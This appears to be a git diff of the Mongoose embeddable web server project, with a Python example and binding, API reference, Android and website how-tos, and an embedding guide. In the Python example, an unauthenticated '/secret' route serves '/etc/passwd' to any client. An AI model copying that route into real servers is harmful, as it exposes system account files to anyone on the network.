# This is Python example on how to use Mongoose embeddable web server,
|
||||
# http://code.google.com/p/mongoose
|
||||
#
|
||||
# Before using the mongoose module, make sure that Mongoose shared library is
|
||||
# built and present in the current (or system library) directory
|
||||
|
||||
import mongoose
|
||||
import sys
|
||||
|
||||
# Handle /show and /form URIs.
|
||||
def EventHandler(event, conn):
|
||||
info = conn.info
|
||||
if event == mongoose.HTTP_ERROR:
|
||||
conn.write('HTTP/1.0 200 OK\r\n')
|
||||
conn.write('Content-Type: text/plain\r\n\r\n')
|
||||
return True
|
||||
elif event == mongoose.NEW_REQUEST and info.uri == '/show':
|
||||
conn.write('HTTP/1.0 200 OK\r\n')
|
||||
conn.write('Content-Type: text/plain\r\n\r\n')
|
||||
conn.write('[%s] [%s] [%s]\n' % (info.request_method, info.uri,
|
||||
info.query_string))
|
||||
if info.request_method == 'POST':
|
||||
content_len = conn.get_header('Content-Length')
|
||||
post_data = conn.read(int(content_len))
|
||||
my_var = conn.get_var(post_data, 'my_var')
|
||||
else:
|
||||
my_var = conn.get_var(info.query_string, 'my_var')
|
||||
conn.write('my_var: %s\n' % (my_var or '<not set>'))
|
||||
conn.write('HEADERS: \n')
|
||||
for header in info.http_headers[:info.num_headers]:
|
||||
conn.write(' %s: %s\n' % (header.name, header.value))
|
||||
return True
|
||||
elif event == mongoose.NEW_REQUEST and info.uri == '/form':
|
||||
conn.write('HTTP/1.0 200 OK\r\n'
|
||||
'Content-Type: text/html\r\n\r\n'
|
||||
'Use GET: <a href="/show?my_var=hello">link</a>'
|
||||
'<form action="/show" method="POST">'
|
||||
'Use POST: type text and submit: '
|
||||
'<input type="text" name="my_var"/>'
|
||||
'<input type="submit"/>'
|
||||
'</form>')
|
||||
return True
|
||||
elif event == mongoose.NEW_REQUEST and info.uri == '/secret':
|
||||
conn.send_file('/etc/passwd')
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
|
||||
# Create mongoose object, and register '/foo' URI handler
|
||||
# List of options may be specified in the contructor
|
||||
server = mongoose.Mongoose(EventHandler,
|
||||
document_root='/tmp',
|
||||
listening_ports='8080')
|
||||
|
||||
print ('Mongoose started on port %s, press enter to quit'
|
||||
% server.get_option('listening_ports'))
|
||||
|
||||
sys.stdin.read(1)
|
||||
|
||||
# Deleting server object stops all serving threads
|
||||
print 'Stopping server.'
|
||||
del server
|
||||
@@ -1,166 +0,0 @@
|
||||
# Copyright (c) 2004-2009 Sergey Lyubka
|
||||
#
|
||||
# Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
# of this software and associated documentation files (the "Software"), to deal
|
||||
# in the Software without restriction, including without limitation the rights
|
||||
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
# copies of the Software, and to permit persons to whom the Software is
|
||||
# furnished to do so, subject to the following conditions:
|
||||
#
|
||||
# The above copyright notice and this permission notice shall be included in
|
||||
# all copies or substantial portions of the Software.
|
||||
#
|
||||
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
# THE SOFTWARE.
|
||||
#
|
||||
# $Id: mongoose.py 471 2009-08-30 14:30:21Z valenok $
|
||||
|
||||
"""
|
||||
This module provides python binding for the Mongoose web server.
|
||||
|
||||
There are two classes defined:
|
||||
|
||||
Connection: - wraps all functions that accept struct mg_connection pointer
|
||||
as first argument.
|
||||
|
||||
Mongoose: wraps all functions that accept struct mg_context pointer as
|
||||
first argument.
|
||||
|
||||
Creating Mongoose object automatically starts server, deleting object
|
||||
automatically stops it. There is no need to call mg_start() or mg_stop().
|
||||
"""
|
||||
|
||||
|
||||
import ctypes
|
||||
import os
|
||||
|
||||
|
||||
NEW_REQUEST = 0
|
||||
REQUEST_COMPLETE = 1
|
||||
HTTP_ERROR = 2
|
||||
EVENT_LOG = 3
|
||||
INIT_SSL = 4
|
||||
WEBSOCKET_CONNECT = 5
|
||||
WEBSOCKET_READY = 6
|
||||
WEBSOCKET_MESSAGE = 7
|
||||
WEBSOCKET_CLOSE = 8
|
||||
OPEN_FILE = 9
|
||||
INIT_LUA = 10
|
||||
|
||||
|
||||
class mg_header(ctypes.Structure):
|
||||
"""A wrapper for struct mg_header."""
|
||||
_fields_ = [
|
||||
('name', ctypes.c_char_p),
|
||||
('value', ctypes.c_char_p),
|
||||
]
|
||||
|
||||
|
||||
class mg_request_info(ctypes.Structure):
|
||||
"""A wrapper for struct mg_request_info."""
|
||||
_fields_ = [
|
||||
('request_method', ctypes.c_char_p),
|
||||
('uri', ctypes.c_char_p),
|
||||
('http_version', ctypes.c_char_p),
|
||||
('query_string', ctypes.c_char_p),
|
||||
('remote_user', ctypes.c_char_p),
|
||||
('remote_ip', ctypes.c_long),
|
||||
('remote_port', ctypes.c_int),
|
||||
('is_ssl', ctypes.c_int),
|
||||
('num_headers', ctypes.c_int),
|
||||
('http_headers', mg_header * 64),
|
||||
('user_data', ctypes.c_void_p),
|
||||
('ev_data', ctypes.c_void_p),
|
||||
]
|
||||
|
||||
|
||||
mg_callback_t = ctypes.CFUNCTYPE(ctypes.c_void_p, ctypes.c_int, ctypes.c_void_p)
|
||||
|
||||
|
||||
class Connection(object):
|
||||
"""A wrapper class for all functions that take
|
||||
struct mg_connection * as the first argument."""
|
||||
|
||||
def __init__(self, mongoose, connection):
|
||||
self.m = mongoose
|
||||
self.conn = ctypes.c_void_p(connection)
|
||||
self.info = self.m.dll.mg_get_request_info(self.conn).contents
|
||||
|
||||
def get_header(self, name):
|
||||
val = self.m.dll.mg_get_header(self.conn, name)
|
||||
return ctypes.c_char_p(val).value
|
||||
|
||||
def get_var(self, data, name):
|
||||
size = data and len(data) or 0
|
||||
buf = ctypes.create_string_buffer(size)
|
||||
n = self.m.dll.mg_get_var(data, size, name, buf, size)
|
||||
return n >= 0 and buf or None
|
||||
|
||||
def printf(self, fmt, *args):
|
||||
val = self.m.dll.mg_printf(self.conn, fmt, *args)
|
||||
return ctypes.c_int(val).value
|
||||
|
||||
def write(self, data):
|
||||
val = self.m.dll.mg_write(self.conn, data, len(data))
|
||||
return ctypes.c_int(val).value
|
||||
|
||||
def read(self, size):
|
||||
buf = ctypes.create_string_buffer(size)
|
||||
n = self.m.dll.mg_read(self.conn, buf, size)
|
||||
return n <= 0 and None or buf[:n]
|
||||
|
||||
def send_file(self, path):
|
||||
self.m.dll.mg_send_file(self.conn, path)
|
||||
|
||||
|
||||
class Mongoose(object):
|
||||
"""A wrapper class for Mongoose shared library."""
|
||||
|
||||
def __init__(self, callback, **kwargs):
|
||||
if os.name == 'nt':
|
||||
self.dll = ctypes.WinDLL('mongoose.dll')
|
||||
else:
|
||||
self.dll = ctypes.CDLL('libmongoose.so')
|
||||
|
||||
self.dll.mg_start.restype = ctypes.c_void_p
|
||||
self.dll.mg_modify_passwords_file.restype = ctypes.c_int
|
||||
self.dll.mg_read.restype = ctypes.c_int
|
||||
self.dll.mg_write.restype = ctypes.c_int
|
||||
self.dll.mg_printf.restype = ctypes.c_int
|
||||
self.dll.mg_get_header.restype = ctypes.c_char_p
|
||||
self.dll.mg_get_var.restype = ctypes.c_int
|
||||
self.dll.mg_get_cookie.restype = ctypes.c_int
|
||||
self.dll.mg_get_option.restype = ctypes.c_char_p
|
||||
self.dll.mg_get_request_info.restype = ctypes.POINTER(mg_request_info)
|
||||
|
||||
if callback:
|
||||
# Create a closure that will be called by the shared library.
|
||||
def func(event, connection):
|
||||
# Wrap connection pointer into the connection
|
||||
# object and call Python callback
|
||||
conn = Connection(self, connection)
|
||||
return callback(event, conn) and 1 or 0
|
||||
|
||||
# Convert the closure into C callable object
|
||||
self.callback = mg_callback_t(func)
|
||||
self.callback.restype = ctypes.c_char_p
|
||||
else:
|
||||
self.callback = ctypes.c_void_p(0)
|
||||
|
||||
args = [y for x in kwargs.items() for y in x] + [None]
|
||||
options = (ctypes.c_char_p * len(args))(*args)
|
||||
|
||||
ret = self.dll.mg_start(self.callback, 0, options)
|
||||
self.ctx = ctypes.c_void_p(ret)
|
||||
|
||||
def __del__(self):
|
||||
"""Destructor, stop Mongoose instance."""
|
||||
self.dll.mg_stop(self.ctx)
|
||||
|
||||
def get_option(self, name):
|
||||
return self.dll.mg_get_option(self.ctx, name)
|
||||
+245
@@ -0,0 +1,245 @@
|
||||
# Mongoose API Reference
|
||||
|
||||
struct mg_server *mg_create_server(void *server_param);
|
||||
|
||||
Creates web server instance. Returns opaque instance pointer, or NULL if
|
||||
there is not enough memory. `server_param`: Could be any pointer, or NULL.
|
||||
This pointer will be passed
|
||||
to the callback functions as `struct mg_connection::server_param` field.
|
||||
A common use case is to pass `this` pointer of the C++ wrapper class
|
||||
as `user_param`, to let the callback get the pointer to the C++ object.
|
||||
|
||||
Note that this function doesn't make the
|
||||
server instance to serve. Serving is done by `mg_poll_server()` function.
|
||||
Mongoose has single-threaded, event-driven, asynchronous, non-blocking core.
|
||||
When server instance is created, it contains an information about
|
||||
the configuration and the state of each connection.
|
||||
Server instance is capable on listening on only one port. After creation,
|
||||
`struct mg_server` has a list
|
||||
of active connections and configuration parameters.
|
||||
|
||||
Side-effect: on UNIX, `mg_create_server()` ignores SIGPIPE signals. If custom
|
||||
processing is required SIGPIPE, signal handler must be set up after
|
||||
calling `mg_create_server()`.
|
||||
|
||||
Important: Mongoose does not install `SIGCHLD` handler. If CGI is used,
|
||||
`SIGCHLD` handler must be set up to reap CGI zombie processes.
|
||||
|
||||
|
||||
void mg_destroy_server(struct mg_server **server);
|
||||
|
||||
Deallocates web server instance, closes all pending connections, and makes
|
||||
server pointer a NULL pointer.
|
||||
|
||||
const char mg_set_option(struct mg_server *server, const char *name,
|
||||
const char *value);
|
||||
|
||||
Sets a particular server option. Note that at least one option,
|
||||
`listening_port`, must be specified. To serve static files, `document_root`
|
||||
must be specified too. If `document_root` option is left unset, Mongoose
|
||||
will not access filesystem at all. `mg_set_option()` returns NULL if option was
|
||||
set successfully, otherwise it returns human-readable error string. It is
|
||||
allowed to call `mg_set_option()` by the same thread that does
|
||||
`mg_poll_server()` (Mongoose thread) and change server configuration while it
|
||||
is serving, in between `mg_poll_server()` calls.
|
||||
|
||||
void mg_poll_server(struct mg_server *server, int milliseconds);
|
||||
|
||||
Performs one iteration of IO loop by iterating over all
|
||||
active connections, performing `select()` syscall on all sockets with a timeout
|
||||
of `milliseconds`. When `select()` returns, Mongoose
|
||||
does an IO for each socket that has data to be sent or received. Application
|
||||
code must call `mg_poll_server()` in a loop. It is an error to have more then
|
||||
one thread calling `mg_poll_server()`, `mg_set_option()` or any other function
|
||||
that take `struct mg_server *` parameter. Mongoose does not
|
||||
mutex-protect `struct mg_server *`, therefore only single thread
|
||||
(Mongoose thread) should make Mongoose calls.
|
||||
|
||||
`mg_poll_server()` calls user-specified event handler when certain events
|
||||
occur. Sequence of events for the accepted connection is this:
|
||||
|
||||
* `MG_AUTH` - Mongoose asks whether this connection is authorized. If event
|
||||
handler returns `MG_FALSE`, then Mongoose does not serve the request but
|
||||
sends authorization request to the client. If `MG_TRUE` is returned,
|
||||
then Mongoose continues on with the request.
|
||||
* `MG_REQUEST` - Mongoose asks event handler to serve the request. If
|
||||
event handler serves the request by sending a reply,
|
||||
it should return `MG_TRUE`. Otherwise,
|
||||
it should return `MG_FALSE` which tells Mongoose that request is not
|
||||
served and Mongoose should serve it. For example, event handler might
|
||||
choose to serve only RESTful API requests with URIs that start with
|
||||
certain prefix, and let Mongoose serve all static files.
|
||||
If event handler decides to serve the request, but doesn't have
|
||||
all the data at the moment, it should return `MG_MORE`. That tells
|
||||
Mongoose to keep the connection open after callback returns.
|
||||
|
||||
`mg_connection::connection_param` pointer is a placeholder to keep
|
||||
user-specific data. For example, handler could decide to open a DB
|
||||
connection and store DB connection handle in `connection_param`.
|
||||
* `MG_POLL` is sent to every connection on every iteration of
|
||||
`mg_poll_server()`. Event handler should return `MG_FALSE` to ignore
|
||||
this event. If event handler returns `MG_TRUE`, then Mongoose assumes
|
||||
that event handler has finished sending data, and Mongoose will
|
||||
close the connection.
|
||||
* `MG_HTTP_ERROR` sent when Mongoose is about to send HTTP error back
|
||||
to the client. Event handler can choose to send a reply itself, in which
|
||||
case event handler must return `MG_TRUE`. Otherwise, event handler must
|
||||
return `MG_FALSE`.
|
||||
* `MG_CLOSE` is sent when the connection is closed. This event is used
|
||||
to cleanup per-connection state stored in `connection_param`
|
||||
if it was allocated. Event handler return value is ignored.
|
||||
|
||||
Sequence of events for the client connection is this:
|
||||
|
||||
* `MG_CONNECT` sent when Mongoose has connected to the remote host.
|
||||
This event is sent to the connection initiated by `mg_connect()` call.
|
||||
Connection status is held in `mg_connection::status_code`: if zero,
|
||||
then connection was successful, otherwise connection was not established.
|
||||
User should send a request upon successful connection.
|
||||
Event handler should return `MG_TRUE` if connection was successful and
|
||||
HTTP request has been sent. Otherwise, it should send `MG_FALSE`.
|
||||
* `MG_REPLY` is sent when response has been received from the remote host.
|
||||
If event handler sends another request, then it should return `MG_TRUE`.
|
||||
Otherwise it should return `MG_FALSE` and Mongoose will close the connection.
|
||||
* `MG_CLOSE` same as for the accepted connection.
|
||||
|
||||
|
||||
When mongoose buffers in HTTP request and successfully parses it, it sends
|
||||
`MG_REQUEST` event for GET requests immediately. For POST requests,
|
||||
Mongoose delays the call until the whole POST request is buffered in memory.
|
||||
POST data is available to the callback as `struct mg_connection::content`,
|
||||
and POST data length is in `struct mg_connection::content_len`.
|
||||
|
||||
Note that websocket connections are treated the same way. Mongoose buffers
|
||||
websocket frame in memory, and calls event handler when frame is fully
|
||||
buffered. Frame data is available `struct mg_connection::content`, and
|
||||
data length is in `struct mg_connection::content_len`, i.e. very similar to
|
||||
the POST request. `struct mg_connection::is_websocket` flag indicates
|
||||
whether the request is websocket or not. Also, for websocket requests,
|
||||
there is `struct mg_connection::wsbits` field which contains first byte
|
||||
of the websocket frame which URI handler can examine. Note that to
|
||||
reply to the websocket client, `mg_websocket_write()` should be used.
|
||||
To reply to the plain HTTP client, `mg_write_data()` should be used.
|
||||
|
||||
|
||||
const char **mg_get_valid_option_names(void);
|
||||
|
||||
Returns a NULL-terminated array of option names and their default values.
|
||||
There are two entries per option in an array: an option name followed by a
|
||||
default value. A default value could be NULL. A NULL name indicates an end
|
||||
of the array.
|
||||
|
||||
const char *mg_get_option(const struct mg_server *server, const char *name);
|
||||
|
||||
Returns the value of particular configuration parameter. If
|
||||
given parameter name is not valid, NULL is returned. For valid names, return
|
||||
value is guaranteed to be non-NULL. If parameter is not set, zero-length string
|
||||
is returned.
|
||||
|
||||
void mg_wakeup_server_ex(struct mg_server *, mg_handler_t func,
|
||||
const char *fmt, ...);
|
||||
|
||||
Sends string message to a server. Function `func` is called for every active
|
||||
connection. String message is passed in `struct mg_connection::callback_param`.
|
||||
This function is designed to push data to the connected clients, and
|
||||
can be called from any thread. There is a limitation on the length of
|
||||
the message, currently at 8 kilobytes.
|
||||
|
||||
void mg_send_status(struct mg_connection *, int status_code);
|
||||
void mg_send_header(struct mg_connection *, const char *name,
|
||||
const char *value);
|
||||
void mg_send_data(struct mg_connection *, const void *data, int data_len);
|
||||
void mg_printf_data(struct mg_connection *, const char *format, ...);
|
||||
|
||||
These functions are used to construct a response to the client. HTTP response
|
||||
consists of three parts: a status line, zero or more HTTP headers,
|
||||
a response body. Mongoose provides functions for all three parts:
|
||||
* `mg_send_status()` is used to create status line. This function can be
|
||||
called zero or once. If `mg_send_status()` is not called, then Mongoose
|
||||
will send status 200 (success) implicitly.
|
||||
* `mg_send_header()` adds HTTP header to the response. This function could
|
||||
be called zero or more times.
|
||||
* `mg_send_data()` and `mg_printf_data()` are used to send data to the
|
||||
client. Note that Mongoose adds `Transfer-Encoding: chunked` header
|
||||
implicitly, and sends data in chunks. Therefore, it is not necessary to
|
||||
set `Content-Length` header. Note that `mg_send_data()` and
|
||||
`mg_printf_data()` do not send data immediately. Instead, they spool
|
||||
data in memory, and Mongoose sends that data later after URI handler
|
||||
returns. If data to be sent is huge, an URI handler might
|
||||
send data in pieces by saving state in
|
||||
`struct mg_connection::connection_param` variable and returning `0`. Then
|
||||
Mongoose will call a handler repeatedly after each socket write.
|
||||
|
||||
<!-- -->
|
||||
|
||||
void mg_send_file(struct mg_connection *, const char *path);
|
||||
|
||||
Tells Mongoose to serve given file. Mongoose handles file according to
|
||||
it's extensions, i.e. Mongoose will invoke CGI script if `path` has CGI
|
||||
extension, it'll render SSI file if `path` has SSI extension, etc. If `path`
|
||||
points to a directory, Mongoose will show directory listing. If this function
|
||||
is used, no calls to `mg_send*` or `mg_printf*` functions must be made, and
|
||||
event handler must return `MG_MORE`.
|
||||
|
||||
int mg_websocket_write(struct mg_connection* conn, int opcode,
|
||||
const char *data, size_t data_len);
|
||||
|
||||
Similar to `mg_write()`, but wraps the data into a websocket frame with a
|
||||
given websocket `opcode`.
|
||||
|
||||
const char *mg_get_header(const struct mg_connection *, const char *name);
|
||||
|
||||
Get the value of particular HTTP header. This is a helper function.
|
||||
It traverses http_headers array, and if the header is present in the array,
|
||||
returns its value. If it is not present, NULL is returned.
|
||||
|
||||
|
||||
int mg_get_var(const struct mg_connection *conn, const char *var_name,
|
||||
char *buf, size_t buf_len);
|
||||
|
||||
Gets HTTP form variable. Both POST buffer and query string are inspected.
|
||||
Form variable is url-decoded and written to the buffer. On success, this
|
||||
function returns the length of decoded variable. On error, -1 is returned if
|
||||
variable not found, and -2 is returned if destination buffer is too small
|
||||
to hold the variable. Destination buffer is guaranteed to be
|
||||
'\0' - terminated if it is not NULL or zero length.
|
||||
|
||||
int mg_parse_header(const char *hdr, const char *var_name, char *buf,
|
||||
size_t buf_size);
|
||||
|
||||
This function parses HTTP header and fetches given variable's value in a buffer.
|
||||
A header should be like `x=123, y=345, z="other value"`. This function is
|
||||
designed to parse Cookie headers, Authorization headers, and similar. Returns
|
||||
the length of the fetched value, or 0 if variable not found.
|
||||
|
||||
int mg_modify_passwords_file(const char *passwords_file_name,
|
||||
const char *domain,
|
||||
const char *user,
|
||||
const char *password);
|
||||
|
||||
Add, edit or delete the entry in the passwords file.
|
||||
This function allows an application to manipulate .htpasswd files on the
|
||||
fly by adding, deleting and changing user records. This is one of the
|
||||
several ways of implementing authentication on the server side. For another,
|
||||
cookie-based way please refer to the examples/chat.c in the source tree.
|
||||
If password is not NULL, entry is added (or modified if already exists).
|
||||
If password is NULL, entry is deleted.
|
||||
Return: 1 on success, 0 on error.
|
||||
|
||||
|
||||
int mg_parse_multipart(const char *buf, int buf_len,
|
||||
char *var_name, int var_name_len,
|
||||
char *file_name, int file_name_len,
|
||||
const char **data, int *data_len);
|
||||
|
||||
Parses a buffer that contains multipart form data. Stores chunk name
|
||||
in a `var_name` buffer. If chunk is an uploaded file, then `file_name`
|
||||
will have a file name. `data` and `data_len` will point to the chunk data.
|
||||
Returns number of bytes to skip to the next chunk.
|
||||
|
||||
struct mg_connection *mg_connect(struct mg_server *server,
|
||||
const char *host, int port, int use_ssl);
|
||||
|
||||
Create connection to the remote host. Returns `NULL` on error, non-null
|
||||
if the connection has been scheduled for connection. Upon a connection,
|
||||
Mongoose will send `MG_CONNECT` event to the event handler.
|
||||
@@ -0,0 +1,27 @@
|
||||
# Mongoose Build on Android
|
||||
|
||||
This is a small guide to help you run mongoose on Android. Currently it is
|
||||
tested on the HTC Wildfire. If you have managed to run it on other devices
|
||||
as well, please comment or drop an email in the mailing list.
|
||||
Note : You dont need root access to run mongoose on Android.
|
||||
|
||||
- Clone Mongoose Git repo
|
||||
- Download the Android NDK from [http://developer.android.com/tools/sdk/ndk/index.html](http://developer.android.com/tools/sdk/ndk/index.html)
|
||||
- Run `/path-to-ndk/ndk-build -C /path-to-mongoose/examples`
|
||||
That should generate mongoose/lib/armeabi/mongoose
|
||||
- Using the adb tool (you need to have Android SDK installed for that),
|
||||
push the generated mongoose binary to `/data/local` folder on device.
|
||||
- From adb shell, navigate to `/data/local` and execute `./mongoose`.
|
||||
- To test if the server is running fine, visit your web-browser and
|
||||
navigate to `http://127.0.0.1:8080` You should see the `Index of /` page.
|
||||
|
||||

|
||||
|
||||
|
||||
Notes:
|
||||
|
||||
- `jni` stands for Java Native Interface. Read up on Android NDK if you want
|
||||
to know how to interact with the native C functions of mongoose in Android
|
||||
Java applications.
|
||||
- TODO: A Java application that interacts with the native binary or a
|
||||
shared library.
|
||||
@@ -0,0 +1,34 @@
|
||||
How To Create Basic Website With Mongoose
|
||||
===========================================
|
||||
|
||||
## 1. Create a directory which will contain your website files. For example, on drive `C:\`, create a directory called `my_website`:
|
||||
|
||||

|
||||
|
||||
## 2. Inside `my_website` directory, create a new file called "index". This will be the default web page shown when the website is visited.
|
||||
|
||||

|
||||
|
||||
## 3. Open index file with your favorite editor (for example, Notepad) and enter some HTML code:
|
||||
|
||||

|
||||
|
||||
## 4. Save this file as `index.html`:
|
||||
|
||||

|
||||
|
||||
|
||||
## 5. Download Mongoose executable from http://cesanta.com/mongoose.shtml and copy the executable inside `my_website` directory:
|
||||
|
||||

|
||||
|
||||
## 6. Double-click mongoose executable. An icon will appear on a system tray in the bottom right corner of the desktop:
|
||||
|
||||

|
||||
|
||||
## 7. Click on the mongoose icon and choose "Go to my address" menu:
|
||||

|
||||
|
||||
## 8. A browser will popup displaying `index.html` file. Now, you can expand your website by adding more content.
|
||||
|
||||

|
||||
+179
@@ -0,0 +1,179 @@
|
||||
# Mongoose Embedding Guide
|
||||
|
||||
Embedding Mongoose is done in two steps:
|
||||
|
||||
1. Copy
|
||||
[mongoose.c](https://raw.github.com/cesanta/mongoose/master/mongoose.c) and
|
||||
[mongoose.h](https://raw.github.com/cesanta/mongoose/master/mongoose.h)
|
||||
to your application's source tree and include them in the build.
|
||||
2. Somewhere in the application code, call `mg_create_server()` to create
|
||||
a server, configure it with `mg_set_option()` and loop with
|
||||
`mg_poll_server()` until done. Call `mg_destroy_server()` to cleanup.
|
||||
|
||||
Here's a minimal application `app.c` that embeds mongoose:
|
||||
|
||||
#include "mongoose.h"
|
||||
|
||||
int main(void) {
|
||||
struct mg_server *server = mg_create_server(NULL, NULL);
|
||||
mg_set_option(server, "document_root", "."); // Serve current directory
|
||||
mg_set_option(server, "listening_port", "8080"); // Open port 8080
|
||||
|
||||
for (;;) {
|
||||
mg_poll_server(server, 1000); // Infinite loop, Ctrl-C to stop
|
||||
}
|
||||
mg_destroy_server(&server);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
To compile it, put `mongoose.c`, `mongoose.h` and `app.c` into one
|
||||
folder, start terminal on UNIX or Visual Studio command line prompt on Windows,
|
||||
and run the following command:
|
||||
|
||||
cc app.c mongoose.c -pthread -o app # on Unix
|
||||
cl.exe app.c mongoose.c /TC /MD # on Windows
|
||||
|
||||
When run, this simple application opens port 8080 and serves static files,
|
||||
CGI files and lists directory content in the current working directory.
|
||||
|
||||
It is possible to generate HTML page content. Mongoose can call user-defined
|
||||
function when certain events occur.
|
||||
That function is called _an event handler_, and it is the second parameter
|
||||
to `mg_create_server()` function. Here is the example event handler function:
|
||||
|
||||
int event_handler(struct mg_connection *conn, enum mg_event ev) {
|
||||
switch (ev) {
|
||||
case MG_AUTH: return MG_TRUE;
|
||||
default: return MG_FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
Event handler is called by Mongoose with `struct mg_connection *`
|
||||
pointer and an event number. `struct mg_connection *conn`
|
||||
has all information about the request: HTTP headers, POST or websocket
|
||||
data buffer, etcetera. `enum mg_event ev` tells which exactly event is sent.
|
||||
For each event, an event handler returns a value which tells Mongoose how
|
||||
to behave.
|
||||
|
||||
The sequence of events for every connection is this:
|
||||
|
||||
* `MG_AUTH` - Mongoose asks whether this connection is authorized. If event
|
||||
handler returns `MG_FALSE`, then Mongoose does not serve the request but
|
||||
sends authorization request to the client. If `MG_TRUE` is returned,
|
||||
then Mongoose continues on with the request.
|
||||
* `MG_REQUEST` - Mongoose asks event handler to serve the request. If
|
||||
event handler serves the request by sending a reply,
|
||||
it should return `MG_TRUE`. Otherwise,
|
||||
it should return `MG_FALSE` which tells Mongoose that request is not
|
||||
served and Mongoose should serve it. For example, event handler might
|
||||
choose to serve only RESTful API requests with URIs that start with
|
||||
certain prefix, and let Mongoose serve all static files.
|
||||
If event handler decides to serve the request, but doesn't have
|
||||
all the data at the moment, it should return `MG_MORE`. That tells
|
||||
Mongoose to keep the connection open after callback returns.
|
||||
|
||||
`mg_connection::connection_param` pointer is a placeholder to keep
|
||||
user-specific data. For example, handler could decide to open a DB
|
||||
connection and store DB connection handle in `connection_param`.
|
||||
* `MG_POLL` is sent to every connection on every iteration of
|
||||
`mg_poll_server()`. Event handler should return `MG_FALSE` to ignore
|
||||
this event. If event handler returns `MG_TRUE`, then Mongoose assumes
|
||||
that event handler has finished sending data, and Mongoose will
|
||||
close the connection.
|
||||
* `MG_HTTP_ERROR` sent when Mongoose is about to send HTTP error back
|
||||
to the client. Event handler can choose to send a reply itself, in which
|
||||
case event handler must return `MG_TRUE`. Otherwise, event handler must
|
||||
return `MG_FALSE`
|
||||
* `MG_CLOSE` is sent when the connection is closed. This event is used
|
||||
to cleanup per-connection state stored in `connection_param`
|
||||
if it was allocated.
|
||||
|
||||
Let's extend our minimal application example and
|
||||
create an URI that will be served by user's C code. The app will handle
|
||||
`/hello` URI by showing a hello message. So, when app is run,
|
||||
http://127.0.0.1:8080/hello will say hello, and here's the code:
|
||||
|
||||
#include <string.h>
|
||||
#include "mongoose.h"
|
||||
|
||||
static int event_handler(struct mg_connection *conn, enum mg_event ev) {
|
||||
if (ev == MG_AUTH) {
|
||||
return MG_TRUE; // Authorize all requests
|
||||
} else if (ev == MG_REQUEST && !strcmp(conn->uri, "/hello")) {
|
||||
mg_printf_data(conn, "%s", "Hello world");
|
||||
return MG_TRUE; // Mark as processed
|
||||
} else {
|
||||
return MG_FALSE; // Rest of the events are not processed
|
||||
}
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
struct mg_server *server = mg_create_server(NULL, event_handler);
|
||||
mg_set_option(server, "document_root", ".");
|
||||
mg_set_option(server, "listening_port", "8080");
|
||||
|
||||
for (;;) {
|
||||
mg_poll_server(server, 1000); // Infinite loop, Ctrl-C to stop
|
||||
}
|
||||
mg_destroy_server(&server);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
## Example code
|
||||
|
||||
Mongoose source code contains a well-commented example code, listed below:
|
||||
|
||||
* [hello.c](https://github.com/cesanta/mongoose/blob/master/examples/hello.c)
|
||||
a minimalistic hello world example
|
||||
* [post.c](https://github.com/cesanta/mongoose/blob/master/examples/post.c)
|
||||
shows how to handle form input
|
||||
* [upload.c](https://github.com/cesanta/mongoose/blob/master/examples/post.c)
|
||||
shows how to upload files
|
||||
* [websocket.c](https://github.com/cesanta/mongoose/blob/master/examples/websocket.c) demonstrates websocket usage
|
||||
* [auth.c](https://github.com/cesanta/mongoose/blob/master/examples/auth.c) demonstrates API-controlled Digest authorization
|
||||
* [mjpg.c](https://github.com/cesanta/mongoose/blob/master/examples/mjpg.c) demonstrates MJPEG streaming implementation
|
||||
|
||||
## Compilation flags
|
||||
|
||||
Below is the list of compilation flags that enable or disable certain
|
||||
features. By default, some features are enabled, and could be disabled
|
||||
by setting appropriate `NO_*` flag. Features that are disabled by default
|
||||
could be enabled by setting appropriate `USE_*` flag. Bare bones Mongoose
|
||||
is quite small, about 30 kilobytes of compiled x86 code. Each feature adds
|
||||
a couple of kilobytes to the executable size, and also has some runtime penalty.
|
||||
|
||||
Note that some flags start with `NS_` prefix. This is because Mongoose uses
|
||||
[Net Skeleton](http://github.com/cesanta/net_skeleton) as a low-level
|
||||
networking engine. If user code has `#include <net_skeleton.h>`, then
|
||||
all Net Skeleton functions will be available too.
|
||||
|
||||
|
||||
-DMONGOOSE_NO_AUTH Disable MD5 authorization support
|
||||
-DMONGOOSE_NO_CGI Disable CGI support
|
||||
-DMONGOOSE_NO_DAV Disable WebDAV support
|
||||
(PUT, DELETE, MKCOL, PROPFIND methods)
|
||||
-DMONGOOSE_NO_DIRECTORY_LISTING Disable directory listing
|
||||
-DMONGOOSE_NO_FILESYSTEM Disables all file IO, serving from memory only
|
||||
-DMONGOOSE_NO_LOGGING Disable access/error logging
|
||||
-DMONGOOSE_NO_THREADS
|
||||
-DMONGOOSE_NO_WEBSOCKET Disable WebSocket support
|
||||
|
||||
-DMONGOOSE_USE_IDLE_TIMEOUT_SECONDS=X Idle connection timeout, default is 30
|
||||
-DMONGOOSE_USE_LUA Enable Lua scripting
|
||||
-DMONGOOSE_USE_LUA_SQLITE3 Enable sqlite3 binding for Lua
|
||||
-DMONGOOSE_USE_POST_SIZE_LIMIT=X POST requests larger than X will be
|
||||
rejected, not set by default
|
||||
-DMONGOOSE_USE_EXTRA_HTTP_HEADERS=X Append X to the HTTP headers
|
||||
for static files, empty by default
|
||||
|
||||
-DNS_ENABLE_DEBUG Enables debug messages on stdout, very noisy
|
||||
-DNS_ENABLE_SSL Enable SSL
|
||||
-DNS_ENABLE_IPV6 Enable IPv6 support
|
||||
-DNS_ENABLE_HEXDUMP Enables hexdump of sent and received traffic
|
||||
-DNS_STACK_SIZE=X Sets stack size to X for ns_start_thread()
|
||||
